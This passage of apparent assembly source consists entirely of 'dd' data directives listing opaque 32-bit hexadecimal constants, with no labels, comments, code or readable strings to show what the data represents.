8F05FE1Bh dd 388F0F99h, 84C01D88h, 0EEC434FEh, 8A230465h, 809076DEh dd 508B27D4h, 21E10AC4h, 0E29CD398h, 6E62000Ah, 0A310B152h dd 73003075h, 0FCA532E6h, 4C3D0918h, 15EC396Ah, 42703E8Ch dd 0E86BC782h, 51F76019h, 1816D19Ch, 0DA752DEDh, 0AC9FA0F7h dd 14AEA7h, 6051EF41h, 0F5E5F61h, 0C7048722h, 0A2386CF0h dd 0B080F9B7h, 6180EC0h, 1AC466A5h, 42944F60h, 3802157Ch dd 0DDBD2BCDh, 3259F503h, 0C9D66380h, 0AD529E5h, 5C08393h dd 194674E7h, 8AF35E00h, 902E070Eh, 1F810F34h, 52599E1Ch dd 0E91112EAh, 0A30B800Dh, 0F49F975Dh, 0DBB600F9h, 0A10E7C14h dd 31280F3Eh, 0BC0314E8h, 8488EEBAh, 3917F03Fh, 622315FDh dd 5A0AA50Dh, 0DED59058h, 178BE80Eh, 5EFB6252h, 0D08F9B51h dd 1F37B66Dh, 0B0AA0DF5h, 3ABE6660h, 4FC6FF9h, 608C1BE8h dd 0D8E91F19h, 53B074B6h, 241A7120h, 4B198A0Fh, 7917D03h dd 84861921h, 263DBDh, 0A8FC9D8Dh, 7F29FF17h, 182C30B8h dd 0F6019ADDh, 0D3FF8CD1h, 0ADC0BD7Ah, 23915FCh, 87C41763h dd 59918B0Fh, 0E4E3A611h, 44236D08h, 80D82F8h, 0B5895120h dd 56494B9h, 569DE95Eh, 0D498EBC7h, 938E92CAh, 0C81679BAh dd 790283EFh, 0F42A12Ah, 580B5288h, 358023E9h, 0CA5FDCE6h dd 86E170B9h, 5A090189h, 0F9C0DC05h, 0B601E485h, 100574B3h dd 4010A98Dh, 84F5EDFFh, 1AF99D0Dh, 0E381F743h, 28CC7B86h dd 5C0B1D19h, 0A921BBDBh, 17514BA1h, 0A3144318h, 22DB62BEh dd 168376B5h, 0EF180C5Fh, 972217D4h, 4D432010h, 980079B1h dd 0F0A8E50Eh, 251C459h, 0D71F07F5h, 5BDF9FE9h, 0EA19006Dh dd 1C12FF7h, 0BB3C6973h, 0FE6382CDh, 8D85C799h, 7A88ED3Ah dd 0C5A80481h, 0E9CB800Bh, 0FBEFD773h, 39985A40h, 9D090B08h dd 4CD72551h, 349D9082h, 24182981h, 88AFDA4Ah, 90F0C01Bh dd 0E90A969Bh, 0A455E7EAh, 2FE0AE67h, 1F489720h, 0C0C73EEFh dd 5D7291D0h, 8D48CE90h, 0B43AD607h, 0F10A1523h, 0B909EFCEh dd 0CD361009h, 23818018h, 73FEFF39h, 0DE8C0F3Dh, 0C6460FBh dd 0EF07A424h, 7980345Ah, 80BD8E19h, 77BAD763h, 12D9FEAEh dd 44DB8C66h, 0E0C3F6F1h, 4B8B2163h, 0B593016h, 0BEAAD9B5h dd 4007E104h, 0BA66B99Fh, 3AE52690h, 24040066h, 0D4E9F18Bh dd 5D00F7D2h, 3FBA2FCCh, 48E6E0B0h, 14E80570h, 0E4E2168Ch dd 23803A71h, 8ADE001Ah, 2620980Bh, 0B60F440Bh, 148D7D8h dd 4600F8D4h, 6C45C03Fh, 0C5692B0h, 2B9DBD0Bh, 0BA485FF4h dd 9ABA9729h, 0F1D5C0ACh, 3F4E59FAh, 77947AF3h, 522B948h dd 0B1FCBE01h, 0C38B33FEh, 41B8C23Dh, 0BEDC7100h, 5F6D31E6h dd 4E825C1h, 0E800A537h, 0BCDC2A6h, 234F0135h, 95893AB4h dd 0FF6389Dh, 23E2F766h, 122D09BDh, 3AD82B12h, 1C2378h dd 0C498DFDCh, 7C0B1F66h, 8689ADEBh, 0C45816B0h, 0F34C576h dd 241CA550h, 0EFE78880h, 672D9C48h, 0C5C6B060h, 63023172h dd 7DE6B966h, 86347161h, 0B3398509h, 879447ACh, 61D81FD4h dd 0C0E6817Fh, 452B0822h, 5D42587h, 12800F55h, 81FD802Ah dd 0DE0034D7h, 613C360Ch, 4D40830Fh, 4A519E02h, 0ACC3B97Ah dd 29300632h, 7E2161BDh, 0BA99BA72h, 17181AF9h, 1884101h dd 8BD66D72h, 477BF5E6h, 12C5558h, 33A86EF8h, 35BD9D89h dd 6B4D5422h, 0F76D012Ah, 0A8126788h, 90204325h, 431C4911h dd 23902E96h, 0CBE3AC14h, 1AE97402h, 0BF665800h, 4499794Dh dd 1012E50Bh, 70055F7h, 9E97C623h, 47ED6C2h, 1D015656h dd 0B6708E91h, 4874FE84h, 89EC0F62h, 3384D910h, 0B3ED3912h dd 0F016237Eh, 3401B768h, 8650BD6Fh, 2BF2DCEEh, 0DD587844h dd 6E2EF415h, 13001B23h, 728CBA6Ah, 0ACF8240Ah, 3F10B97h dd 5BCE69DFh, 29B96Fh, 8B1336DEh, 34AC90h, 352AF542h, 0E9C51D48h dd 37C32B27h, 36CB00A9h, 0C0DE8CC6h, 0B718EA01h, 26598589h dd 2F38A605h, 193D7D5Dh, 6D1F500h, 287F6Fh, 3EF09798h dd 0E9F7B70Fh, 0A02D3857h, 7127515h, 7181579Eh, 0BF39551Ch dd 3D6187B4h, 6B840C36h, 0C2C08BFFh, 0DDABE1B4h, 6341554Ah dd 0BF00E271h, 5C7CE169h, 0B518AD66h, 139D1620h, 427E9135h dd 52CE2DA3h, 0C827CE17h, 602FC014h, 0AD5B858Bh, 6661DA0Bh dd 0DCF39E30h, 304C38h, 0DDA731D2h, 166CBF84h, 646615ACh dd 6AB222h, 8B1D5EB1h, 0F80B2Ah, 77D4F147h, 0BE66BA18h dd 5F59CE76h, 8D0F842Dh, 9EFBF7D8h, 9FB70B97h, 0CDF1E786h dd 2D5CE9F2h, 0AC0F3F34h, 0C8B66FEh, 0B44DD5ACh, 82C6296Eh dd 5919A5FEh, 0B03727DBh, 0B8D52C3Dh, 6409510Bh, 0B3837D6h dd 33A969C2h, 7E8052B7h, 9B32BEA7h, 770C4987h, 0ABF5FC17h dd 42C145DAh, 0D813F33Dh, 0D554B52Bh, 1F01BFDFh, 90ED049h dd 0C665E9BDh, 22F3B403h, 0E4C421C2h, 0F5092AA9h, 200C6884h dd 0C22B05BDh, 8E98D27h, 824679F7h, 0F6D7BFD5h, 6B238640h dd 0F971D400h, 0AF12CC09h, 5E8A3BA3h, 25CDB58Ch, 40B66E3Bh dd 10755C31h, 52E1BE00h, 607F7E17h, 0C26A9AEAh, 59FBA950h dd 371A00D6h, 7ED77729h, 1E01AFE4h, 0C58C8394h, 192CB922h dd 0DC56B472h, 0AFE35B01h, 9CA98B4Ah, 40C13960h, 8D2D2131h dd 0DA3A8A75h, 8AD79D13h, 2C7D9561h, 2893E025h, 0DB988431h dd 72ADCED0h, 33F04801h, 0BBD85E79h, 884FB818h, 264BA41h dd 833D2848h, 456201E1h, 0D8DD871h, 47149D23h, 0EDE646A6h dd 822D520h, 100D8D29h, 54BD3D22h, 0C0372D16h, 2E00FC1Ch dd 0CDD0A128h, 0BC710B21h, 0CDDF6061h, 0C09160F7h, 3C505A67h dd 3F2ECAA2h, 3A606722h, 0F8BB3872h, 8E90049Dh, 9D83DBA3h dd 0A848291Bh, 0DE79268Fh, 9D71248h, 0E08BC900h, 0C0FBEDF5h dd 667430A0h, 2A9DB818h, 0BD0E2D50h, 2DE95D4h, 0B2A57066h dd 0D4602D90h, 0C906DD7h, 0D91AC923h, 21002356h, 3035A521h dd 7FCD8E05h, 55D19F0Eh, 9D310977h, 0A78570E9h, 0F5BD0473h dd 5F17140Bh, 86001A6Eh, 3D4CB49Dh, 9A3EC76Dh, 800F1334h dd 7F3DBACDh, 0D94C1353h, 41156D10h, 5F8339D0h, 5F4C27ABh dd 1230A585h, 3065A512h, 0EA6D13AAh, 0EC1E38EAh, 583094C0h dd 9A532174h, 880C2190h, 81000249h, 0C304F9DAh, 4678D077h dd 0D7B81F5Dh, 7C170B01h, 26949323h, 73BEC0h, 600AE4ECh dd 14B18D33h, 850F9499h, 1B69251h, 9A449600h, 5AECBD93h dd 0CB15D300h, 7303488Bh, 7143E84Bh, 2C6AA961h, 893739A7h dd 0A740B00h, 5016D42Ah, 0EBC5CCCEh, 4830C648h, 5E4920A1h dd 0ED1FEABCh, 78815C6Fh, 9E11864h, 42AD7Bh, 0FF60B6DCh dd 0DFC9A0h, 0A50DFE6Fh, 0AD6D734Dh, 0A8D65005h, 12C1578Bh dd 31265EFFh, 20D9951Ch, 0D0DF8102h, 0C9238441h, 0B87E022Fh dd 0BEEBC303h, 0DBA0F07Ah, 0C84000AEh, 292F77F1h, 5491959Dh dd 4720B58Bh, 631764D7h, 0E6F9D88Bh, 0D72BB2F5h, 87DBEB86h dd 93DB1380h, 6E09D0ECh, 70B6C610h, 0B58909A6h, 0FA340315h dd 1F8D9537h, 0F7AD686Ah, 7B9B05A0h, 230A8AE6h, 22B99C41h dd 93CF2296h, 0A4CF1688h, 6881C6E4h, 0ACC761CEh, 19E7F8A6h dd 0C194002h dd 2A94E3DAh, 0C07BEDEBh, 65B79F10h, 60714678h, 5D2F9E98h dd 11E6AE0Dh, 20FD612Dh, 0D6F655D2h, 12AC03C6h, 5054464Fh dd 0B8A9DC5Dh, 0B03B0706h, 1995897Fh, 7EB99A1h, 5E33161h dd 0D3CB9B40h, 55953A80h, 80151FA6h, 2E6D27DFh, 0C0B122C0h dd 9DB700C7h, 8A14507Bh, 0C1008BCAh, 1C8F4FEBh, 3ABFA25h dd 0DAC6A108h, 0D4D0A4ACh, 0E4E25CD2h, 340ECEE0h, 0A11BF531h dd 0D129B327h, 0FDD5BE4h, 17E62AC7h, 87DF9E9Fh, 0AA6DB67h dd 87007C01h, 2352DDB4h, 0E19ED920h, 28AFE911h, 717E50CEh dd 552F0594h, 133D59B9h, 0D5A884B8h, 0C20903C8h, 44BAC704h dd 0DC76718h, 46AE2C32h, 0EBC00323h, 7D02BD81h, 14D560E8h dd 0DD8BB99Ch, 0D9C5F522h, 0D0311364h, 9D8D0004h, 0BBB55E0Eh dd 8A119868h, 0B45B1A10h, 0E03AAD8Ch, 1699AB9Fh, 0C15FB901h dd 0E18589F8h, 66A8C5B1h, 8D04ECBAh, 1B34F6F8h, 0DB841818h dd 7150CC49h, 8B579FAAh, 1CE25FD7h, 1B5D9282h, 88B3400Ch dd 0C400D281h, 505E0C76h, 33D61CBAh, 60376EC5h, 0F8D907C8h dd 0F56A2D62h, 89610018h, 6F9E359Dh, 6D4BFF1Fh, 802CBD09h dd 0DB6D34Dh, 8B69976Dh, 0DD034123h, 23E2BD08h, 0DE853FA0h dd 99CEC2D2h, 4DC11888h, 0C2F5FE14h, 89086020h, 0B9222060h dd 8D7F73A3h, 194DFCC4h, 71386D14h, 0F2889141h, 2880F0Ch dd 0EC488A49h, 197D121Ch, 5ED09333h, 0DA6BFB1Fh, 0A96B6600h dd 0B529EA3Ch, 3B78BD5Dh, 45858856h, 0B65A052Ah, 0BBE3EE10h dd 4009E824h, 0D49AA7D2h, 927EBA3Eh, 50F10F94h, 97D68430h dd 44123B84h, 5A803F64h, 0E639C177h, 732B3867h, 6F86BBBAh dd 36301596h, 0DA400897h, 0A93D3C4Fh, 6018F7D7h, 0BF58615Dh dd 81407A7Eh, 6BBC0DAh, 0B5FF5BACh, 3109AFD1h, 100BED85h dd 5F80DB53h, 0FD6EAF17h, 157ECF2Fh, 0B999013Fh, 0BD89E988h dd 0FF23E8CEh, 28667CD0h, 84E4CBE2h, 0DDF950D6h, 1C1D4345h dd 0F72F0132h, 920B2437h, 0B164C1h, 0B908C243h, 11F86549h dd 0B503800h, 1CA13CCEh, 5F895E0Fh, 81660266h, 0B3823AC7h dd 81449509h, 549CF18Eh, 0C7AA6C45h, 0A4A7A620h, 74702F00h dd 68854999h, 0B67C1663h, 1ACF08F6h, 6FB26092h, 44A0E400h dd 89E25E7Ch, 0D9299100h, 0C59E90CDh, 160200ECh, 816198BCh dd 0C9E62434h, 0A07CB92Eh, 231B2908h, 0DE8224E6h, 0EE108601h dd 0AB183E06h, 22D55C89h, 0E4820814h, 0E84E105Eh, 8D24BB08h dd 5A5042C2h, 74DAF288h, 33001846h, 0E0C819B7h, 1090CE8Ah dd 46BD09AAh, 2AA9D100h, 3CBFA1F1h, 88495803h, 84DD098h dd 0C3BEAFB1h, 7A0AE22h, 60490EEFh, 8A568000h, 0B368EEh dd 528B5CDFh, 405ABB60h, 0E0578427h, 4C5F6102h, 8605E981h dd 4848C28Dh, 457215DBh, 6019C44Eh, 25EC9734h, 306074F4h dd 0DAA5142Dh, 0F7803429h, 4A8C12A3h, 898B006Ah, 27F6C4A8h dd 0E800465Bh, 0C5FEF7B3h, 289B15BAh, 0BBE33FB7h, 0E18271A2h dd 9DDF303Ch, 0E5040F41h, 0CA81AF20h, 7C9015B3h, 6C8BA92Eh dd 60F26DF7h, 3F3836B5h, 802CC239h, 55C1F068h, 0B98F0FEBh dd 9B8245Eh, 0B7826160h, 9F625951h, 0B173A8A3h, 4A6030FAh dd 0F6BDAFF4h, 3C374992h, 0D47FACBDh, 0F173D11Fh, 130D8C7h dd 0E6F4BD47h, 89732947h, 3C68B72Fh, 87814D7Eh, 7AE6800Ah dd 32E2179Bh, 0C8D22139h, 19FEBD35h, 0A6BE5648h, 2A4D0993h dd 494A5794h, 9F80639Bh, 30526748h, 6400D675h, 0EF1704B9h dd 5696802h, 8ABDB7C8h, 80A641F5h, 4A31A2E1h, 3FEF5FA2h dd 0B48400ACh, 626CAF55h, 0BF8802B0h, 2F8CA129h, 495BA1B2h dd 2B8D470h, 726BB16Fh, 0D783F99Fh, 0B15831BDh, 6C2C14F7h dd 952B04C9h, 6188082Dh, 62151B9h, 0F24C009h, 6A03002Bh dd 6CEA8004h, 5E12A968h, 0FF41CAF4h, 350BB157h, 85083E37h dd 162C0E15h, 7A30026Dh, 5EBA156h, 0CAA7B910h, 5A756102h dd 0C4B8B250h, 0ACA69EFDh, 0CA8A04C6h, 914E8959h, 8B09026Ch dd 1BDB58CBh, 7A2B5F70h, 1F5D0C0Bh, 0DDB892EDh, 95B02195h dd 0ED7F3055h, 466ECD3h, 725F940Ah, 3D90C16Bh, 765E1619h dd 0DE37941Ch, 0C4EE3E06h, 0EDB6216Ch, 0BF0F1929h, 0E62DC7F9h dd 0C59F2813h, 39180A29h, 801545E0h, 111EDE68h, 0FBD5832Eh dd 0EE2205ECh, 7C2E7CD2h, 38001C23h, 66805B19h, 0CE711403h dd 9013D48Ah, 0A3A352h, 0A12149BAh, 9D505902h, 0E04EF010h dd 74CB600h, 8D39F0Ch, 95291790h, 0B02D2CDh, 0EDE0904Dh dd 30D329BBh, 6C90DC12h, 952A2351h, 5F48F5ADh, 0A7BB29C2h dd 4228E17h, 196A6152h, 50291CEBh, 0F88B4B60h, 0F78081D1h dd 653C7276h, 1794E47Dh, 306159E0h, 473DEEA7h, 48A2FC00h dd 0CFD71EB0h, 0CD833CE3h, 918B61A5h, 98C5B8CDh, 455DBAECh dd 197D950Bh, 1E0246FFh, 80A87921h, 0DAED976Bh, 8D1AD8D9h dd 13F0C5B5h, 88F1F315h, 29313DEh, 8CCBD884h, 0F29010E8h dd 0A903E1B8h, 0B4DD571Ah, 15CA80Ch, 3FAF12FEh, 0E92E04F3h dd 4FED1003h, 0DB5F6D20h, 9E1FC4Fh, 893F9A28h, 15BAE8Ah dd 8A5150C9h, 5F3039F0h, 4796BABh, 0CD5A8F0h, 1D2173BCh dd 1A181CF1h, 2A458E00h, 930C5B65h, 7144B84Fh, 0B529800Dh dd 13A0A94Dh, 6A0EC00Bh, 7F9E1647h, 0E1970F80h, 0B35C6C0Eh dd 6E9A456Dh, 46015E6Eh, 2F96F914h, 6BF73136h, 74451220h dd 3533011Ch, 942126E7h, 19F17FCCh, 2B15DB01h, 0EEB56207h dd 7D7DCFC6h, 5DBD19C4h, 3F469FA4h, 71A53120h, 607635CAh dd 0C8404CDEh, 8E82BE00h, 8F8592FDh, 5FC6890h, 960DC82h dd 0E2B74E6h, 0F9C9746Dh, 0FAE3458Bh, 1A51B8F2h, 81017E32h dd 0B51244E9h, 11E23871h, 0F8442229h, 9E465E84h, 14FFC309h dd 19A390A0h, 1FF62FECh, 606092F7h, 50C5CFBEh, 0BF07DE29h dd 4F601F74h, 0E057875Fh, 95891333h, 5996C04Dh, 20707E80h dd 31F1A0CDh, 84915643h, 27BF6000h, 0D58A889h, 0E4D32AB1h dd 58DCA0BEh, 0C84A6BFDh, 0EA4C85C1h, 31828F9Eh, 1928A26Eh dd 150E5618h, 0E95A8011h, 0BD014E27h, 12B60F62h, 0FE60E6A4h dd 0B6AAB912h, 4540B001h, 708248ECh, 0CF14FD19h, 4A542FB5h dd 0ADBA0840h, 125369E3h, 62F75550h, 267D6480h, 42D8B502h dd 0DC265E9Bh, 505E2206h, 9597EE8Ah, 9A01FC37h, 0B531B6DFh dd 0B27EEAC6h, 0CB6684h, 2B67E54h, 0CDB17908h, 0D88BF801h dd 0C0B46056h, 7100F233h, 0F97A261Eh, 5F13A90Ch, 22045961h dd 580B2279h, 7D704AF3h, 81F95BD7h, 153384CBh, 0E90931FCh dd 0A2F3057Bh, 7FA0A8D0h, 93DD1D58h, 473D6AEh, 91958D0Fh dd 89388054h, 50CB856Ch, 0A0C6A66Fh, 52B1404h, 59FC6FEEh dd 765C14E9h, 0AB54BD39h, 8448505Fh, 570540E5h, 59715171h dd 9D933BFAh, 0FE43669Ah, 0AA06DCD0h, 79FDDF27h, 1DA12870h dd 0AB5C4A62h, 14297288h, 0F04D9BDh, 0A9E22F31h, 0F6FB05FFh dd 0E030B3CCh, 2C1A7FD2h, 80F5638h, 40122365h, 6D00F16Fh dd 9E75C9C6h, 0A4AD180h, 2620A68Dh, 482D4E25h, 8461F21Dh dd 0FCC201B7h, 0FB16DE3Ah, 68D011F3h, 17DA21B9h, 3160310Fh dd 0E8DC76E8h, 2C1F7748h, 0EDC098A2h, 33BE0284h, 82B80666h dd 6C5A61ADh, 8673D1A2h, 39373070h, 0BF170B3Fh, 4E108903h dd 0C01A880Fh, 0C7B2933h, 4CFBB30Bh, 0EF8C160h, 699D8900h dd 611C5092h, 0B7A75090h, 156F005Dh, 0D6806B0Fh, 3A675858h dd 77F026F1h, 0FEAABF00h dd 175069F8h, 88870F60h, 0AFA6E173h, 44C58600h, 956F7C83h dd 695102D0h, 9FCEEC31h, 36969752h, 5C292313h, 27118C02h dd 79FA508Ah, 8D006D53h, 3EF9ACC3h, 13F6D829h, 30AE9993h dd 95B00573h, 37043B70h, 5F977D0Fh, 0F6D860C2h, 0A004DC00h dd 58563BD3h, 64CE55C2h, 0F40E5860h, 0D93AE1C0h, 5DD419E9h dd 6EC10937h, 642747C6h, 37A0601Bh, 7F7E00AFh, 8A8C9461h dd 0FB2E8BF0h, 0F6DE9E58h, 0C85C0013h, 275809CDh, 572504DDh dd 61094A66h, 1E051F1Fh, 2CD0DD1Bh, 24E10875h, 2D8D3105h dd 1E6A42D1h, 6DF6E2Eh, 1909CC8Eh, 2A212270h, 5CB86CBh dd 5CFDD585h, 77279EBCh, 0B264B2h, 286687C8h, 101CA3A9h dd 0EBD82405h, 3AB4E860h, 6E201CD0h, 5C00BAA0h, 7D87E547h dd 0C700A55Fh, 0A1622F02h, 5CF78B8Ah, 3841ED5Eh, 0AE21202Fh dd 85000523h, 4748FF78h, 163C181h, 512019DFh, 2661A5D9h dd 8D8B066Ah, 0A2F601CDh, 80D149h, 49857C21h, 640071F9h dd 69185C83h, 219DDDAh, 2DCBF7D6h, 3F4458FCh, 95294180h dd 2481F54Eh, 427ED9E9h, 26118D83h, 880F5001h, 2636D9D6h dd 10C607Dh, 7F164C0Eh, 40C2592Fh, 64776D5Fh, 0D34C601Ah dd 94AE0527h, 20E8E113h, 661CD9C9h, 88906707h, 0E610D686h dd 3959F9FFh, 5AF8509h, 0E4EA3D2Bh, 0E4DC70DEh, 0A48E028Bh dd 0A045BC39h, 845CC50h, 5BB75820h, 447A84D0h, 0AB1BE2D0h dd 14232D3Bh, 0C9FC9D09h, 0BF2AAD21h, 5900647Ah, 6612F17Dh dd 3C2FB0BFh, 0C0284D61h, 5E600F84h, 0CC203E17h, 0B1044808h dd 683C6E5Ah, 0A601C831h, 2171081Eh, 0BFB3E90Bh, 98350061h dd 60ECD01Ah, 0B4404B9Eh, 26F904h, 21208993h, 8A60E28Eh dd 0C01AD058h, 96864838h, 0AB2C00EEh, 0E19131D4h, 0DB3417C0h dd 0F68C0261h, 89A3F73h, 76C21983h, 8D892957h, 0B5C7831h dd 0BF1CC681h, 0BD420421h, 20A2F885h, 61E91615h, 0A0EDA7F8h dd 94C9D8Eh, 8B30FDB4h, 2B80BE89h, 0DA9168CBh, 0F77CD63Dh dd 0B03C59BCh, 0E280125Ah, 2595B8A2h, 0C75514C9h, 6214C4BDh dd 3517E184h, 9EFFB974h, 1E8B4A13h, 59DF7FD6h, 0C3452A86h dd 12180D53h, 1A228A0Fh, 0BF17C0F9h, 5AFD4CABh, 0EAB79777h dd 55F67201h, 5120DCB9h, 0CD744BDEh, 0B8B07D69h, 9FEC0E10h dd 0A10275F3h, 0A3794038h, 2B5B7A00h, 711B67A7h, 0F9C2C239h dd 47C0AFF3h, 3216B4BAh, 0E50A5650h, 8726AC6Ah, 5552FA16h dd 0C85F97E3h, 0BB00EF55h, 0DE5E8023h, 34709E2h, 0A6D23F48h dd 90E9C2D4h, 0E6207F60h, 34D7658h, 2A41A9C6h, 19708B0Fh dd 0AFB85A01h, 61599E3Ah, 2D6C660h, 0A6A8BF90h, 0D2825688h dd 690831ADh, 69A9BE80h, 1D051F9h, 0C2F707DDh, 3A42DBB4h dd 0B9858402h, 13F5082Fh, 0A287A7C8h, 0C2BD3575h, 808BDAD3h dd 76FF8613h, 527E04EAh, 9B5FF58Ah, 0F8D6C00Eh, 0AE73268h dd 0D41592ADh, 0EED01AEDh, 0D6935655h, 58F2F4BFh, 294E4585h dd 4C059B13h, 0F1B0D1BDh, 4AC2585Fh, 55B5310Bh, 9D0985A0h dd 5D9518E1h, 0A8913891h, 0D203A1Dh, 0A8CD971Ch, 8D6028C3h dd 2058F186h, 61481BE1h, 9A913EEh, 3D2DA4A2h, 0C0BA24E1h dd 0F01B0E10h, 0B14DEA81h, 60FEC283h, 8331F548h, 0A238FFCFh dd 50812F9Eh, 0D7F2A87Fh, 0E8E6CCEFh, 2B5805A0h, 0F01AC264h dd 8166ABC0h, 5A4D2538h, 1BB465Dh, 33C50B7h, 0D93A81D0h dd 0D519AF45h, 0AC2D8326h, 0D95AD0B2h, 10C86093h, 0D24F9D0h dd 4F3C4003h, 0D1C229DFh, 0C4FA3CB7h, 619A912h, 0C35BF805h dd 0D1030C1Ch, 2B21201Bh, 2A08DB4Dh, 0BF834912h, 0C65206D4h dd 0FF82F1h, 0A98110CFh, 514A3B0h, 0C03359B5h, 32F7FEC3h dd 0DEBF2422h, 0DD7AC99Ch, 56D59A95h, 915A69AEh, 66F008D2h dd 0D3EBCB05h, 0B12E8FDh, 36330087h, 6AC8539Eh, 0CC260E81h dd 1D114889h, 12CB6028h, 8953F8D1h, 7831FC7Eh, 0C8ECCB00h dd 50C17CFDh, 9FB204FAh, 0BBF7B539h, 890F4503h, 0FC330201h dd 5A43C781h, 33C1ABA1h, 13472BF6h, 0BB60370Ch, 17817F09h dd 18C0A7E9h, 77E87C5Eh, 0F104117Bh, 670B925Ch, 98A6ECABh dd 8D11C18h, 14E96F39h, 0D41E00BBh, 0D0022EFAh, 58CB03A4h dd 1FA5A7C9h, 0F8BD8790h, 51A83900h, 8F6FDF80h, 0FC370004h dd 0EE81FD8Ah, 0C2244606h, 89027D64h, 0E13350A6h, 19890229h dd 0A4488F0Fh, 2B90F960h, 8161CB01h, 0FFA670FEh, 8F6241C6h dd 0D10F4622h, 67E3E9C7h, 17F8014Fh, 370023E7h, 438ABFDBh dd 0CC82EB3Ch, 0C3211909h, 78DB2E00h, 4BBB103Eh, 7E911DD5h dd 0FBEE4068h, 3C5CB772h, 863C05EAh, 804E3FD8h, 0F33498C5h dd 0F6E71Dh, 63A49B07h, 3ED2BF5h, 0B7211301h, 9FD885D0h dd 718AA20h, 51848AE7h, 954E6E01h, 2E523AC0h, 0AE037CEDh dd 5C80BF63h, 0A2172F9h, 6B2F14DBh, 532B7820h, 6AF8C88Ch dd 0C2DB36C0h, 223B468Ah, 2DC0001Eh, 6F0D1BDBh, 9C1CD7B8h dd 7EC0EEB2h, 3E714A8h, 541600FFh, 846352C2h, 15007D35h dd 198F3EE8h, 0C0E4D76Ch, 0C1BF88F0h, 0F77234E1h, 7D04F10h dd 606D9064h, 23C5DB39h, 1B11138Ah, 0DB30077Dh, 41CE9EE6h dd 800A6AFAh, 36E20348h, 1EEEC1D8h, 40A0B8B1h, 0D87C4C6h dd 8B006C2Ah, 17ECA984h, 18E77201h, 0C11BA6D3h, 4073BF37h dd 27AB911Eh, 23099959h, 0B7572180h, 2FA5FC40h, 8E654D00h dd 0CD9B6056h, 0A26C1841h, 18252810h, 0FE6BB81Bh, 60DFC0A8h dd 87DB052Ah, 19080B54h, 80F308DDh, 2A694021h, 249D87E6h dd 1F141894h, 0F02E06D1h, 170078EAh, 63BDD907h, 19E2E070h dd 8C8681Bh, 0AA2180FEh, 0F562BDD0h, 698F0AD4h, 80940B50h dd 722C875Dh, 0F90F9481h, 863A3863h, 0A21066Ah, 0EA715488h dd 6CF00688h, 7009180Ch, 1308BFh, 0E89D8864h, 4F4CA715h dd 494880D1h, 1465F799h, 0F806D84Fh, 1BA2BC53h, 0ACC4030h dd 6AE3AFEFh, 799F40A0h, 0DA00859Eh, 53992562h, 4370CAh dd 5B1B21B6h, 17BA729Dh, 2E78C8C4h, 0FD233Eh, 316DDFE6h dd 29003D99h, 0DCC77C7Ah, 294F0F85h, 0D16C026Ch, 687181Ah dd 717491E3h, 8C20A863h, 55680006h, 0E0F1EF8Ah, 0EE60CEA6h dd 0B7A49290h, 0ED2C2401h, 0E9F90AF4h, 749302E0h, 0B440F4C3h dd 1F487A6Bh, 0C3BC8848h, 87992A64h, 88F61874h, 2A1D6D44h dd 49801892h, 0EB051F48h, 2989100Ch, 50680CE7h, 0DAC10Ah dd 39C9A5D1h, 0F7E6F3A1h, 5061C812h, 539D3020h, 0A2DF3C8Fh dd 0CF6C9006h, 213B80Ah, 50433974h, 4004B0F0h, 8C32CC30h dd 67BDDD0Eh, 66E30870h, 0AE043101h, 870CBDD4h, 0C515F580h dd 940A1802h, 0BEE841EDh, 641DC824h, 1113D842h, 9DE1831h dd 0F87066BDh, 0AD00001Ch, 45D7BDD5h, 0A09D0A63h, 20BEEA30h dd 0CE1F33B0h, 32E038C4h, 0E7DC644Fh, 1544B467h, 0FA3DDE60h dd 68A07D1Dh, 0CB209C28h, 0E350DD0Bh, 0C4DB3C01h, 58632B8Ah dd 0DB33C680h, 0F64C52B7h, 0C2047391h, 0E51FA413h, 7FE31480h dd 7CF303D0h, 0C99C3504h, 5068F0E9h, 0F88770E0h, 21E03A60h dd 0FF6C6593h, 2EF21424h, 2930BDEh, 38CA2F4Bh, 1EB38BC0h dd 0E0B0170Bh, 558C00A1h, 3EC0F42Ch, 38E0326Bh, 1FD0C4E8h dd 8F1094A0h, 0D0A4A873h, 29348021h, 18027104h, 71A500DAh dd 7060A225h, 100C6AB1h, 60177C9Fh, 0FCF03A38h, 7400306Ah dd 3B7AFE46h, 31058A26h, 1FAF784h, 1D8C32A0h, 9164200Bh dd 50EB6C38h, 0A7187BD4h dd 9840ECE6h, 1B8E0B35h, 40032182h, 30240915h, 8A4024F1h dd 19DA638h, 0B85D635h, 2204444Fh, 16E2320h, 8AC6DB3Ah dd 0F84E1Bh, 60DB31C4h, 1CE846C2h, 42684211h, 3BACB770h dd 913A8480h, 0DE4D6784h, 18081014h, 4665360Fh, 7B57AFC0h dd 24B0F3C2h, 0F321444h, 9A287DF9h, 0E527A960h, 0F4014434h dd 0B819408h, 804038DBh, 912BFF57h, 181AD954h, 5F17579h dd 0A72E0D12h, 71A04246h, 0D4CCD0E7h, 3640C204h, 2262C391h dd 40BA5A20h, 0E01A1C60h, 269E9D08h, 13AD0594h, 0C8FC8E18h dd 0E3D2C025h, 0E0008DE5h, 0EB2445F3h, 288F72ACh, 3DAC3470h dd 5850FEA7h, 0C1058CD1h, 0BB913540h, 593028h, 7DA940B9h dd 4D707F6Eh, 8A197409h, 0F0C002D6h, 0E4040938h, 2A6260BAh dd 648723D9h, 3E0FF211h, 0CFAE2A6Bh, 98B3CCA6h, 2E647C85h dd 0F1F3167h, 0FC48256Bh, 1B003066h, 9D17975Eh, 24A5885Ch dd 13DC2064h, 8FC25A1h, 35C06900h, 468AC1DBh, 0FA1F2233h dd 3FDB002Ch, 7C636B07h, 0DA1DC3B8h, 5D8B8B9Ah, 2A7020F4h dd 61CD5489h, 4FD910EDh, 888C4E08h, 0D19CC3F4h, 808EE880h dd 0B70214Dh, 17EA490Fh, 801F91E0h, 7B540F75h, 19B2021Ah dd 0CC844C9Ch, 4B5C6541h, 0C1F88850h, 0CC2CEF31h, 6801B655h dd 0FC9BABDh, 91C43913h, 0C8284C03h, 747D6002h, 6C47155Dh dd 806524C4h, 0D568EA5Ch, 1DF90C00h, 0BE519280h, 7D4304A5h dd 0C2953633h, 0EC42DFA2h, 1B11EC1Dh, 7CA0C80h, 6C242987h dd 0EE832405h, 0E8E5DAC7h, 681D279h, 8BF609D8h, 0A322101h dd 6017A99Ch, 3216F578h, 0C590967h, 2100BC63h, 0F176687Dh dd 0C27049h, 2C9CC602h, 977484D1h, 0A0915476h, 6580BD11h dd 8C87DE2Ah, 41FB448Ch, 852A6E0Eh, 2E7E8031h, 4F97934h dd 60958851h, 7078812Bh, 0BE58911Ah, 0DD2A6680h, 448C8487h dd 6F0142F7h, 